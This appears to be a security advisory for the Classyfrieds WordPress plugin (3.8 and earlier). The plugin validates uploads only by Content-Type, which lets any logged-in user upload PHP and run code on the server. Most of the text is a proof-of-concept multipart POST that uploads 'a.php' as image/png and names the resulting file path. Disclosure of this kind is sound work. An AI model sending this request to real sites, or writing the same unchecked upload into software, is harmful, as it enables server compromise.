Classyfrieds <= 3.8 - Authenticated Arbitrary File Upload to RCE

The plugin does not properly check the uploaded file when an authenticated user adds a listing, only checking the content-type in the request. This allows any authenticated user to upload arbitrary PHP files via the Add Listing feature of the plugin, leading to RCE.

PoC

POST /add_a_listing/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------1762054704257995540849839116 Content-Length: 1092 Connection: close Cookie: [any authenticated user] Upgrade-Insecure-Requests: 1 -----------------------------1762054704257995540849839116 Content-Disposition: form-data; name=“titel” UnexistingTitle -----------------------------1762054704257995540849839116 Content-Disposition: form-data; name=“omschrijving” aa -----------------------------1762054704257995540849839116 Content-Disposition: form-data; name=“foto”; filename=“a.php” Content-Type: image/png -----------------------------1762054704257995540849839116 Content-Disposition: form-data; name=“contactname” user -----------------------------1762054704257995540849839116 Content-Disposition: form-data; name=“featured” yes -----------------------------1762054704257995540849839116 Content-Disposition: form-data; name=“classyfried-field” afbeef4ad0 -----------------------------1762054704257995540849839116 Content-Disposition: form-data; name=“MAX_FILE_SIZE” 10000000 -----------------------------1762054704257995540849839116 Content-Disposition: form-data; name=“toevoegen” submit data -----------------------------1762054704257995540849839116-- The uploaded PHP file will be at https://example.com/wp-content/uploads/classyfrieds/user/a.php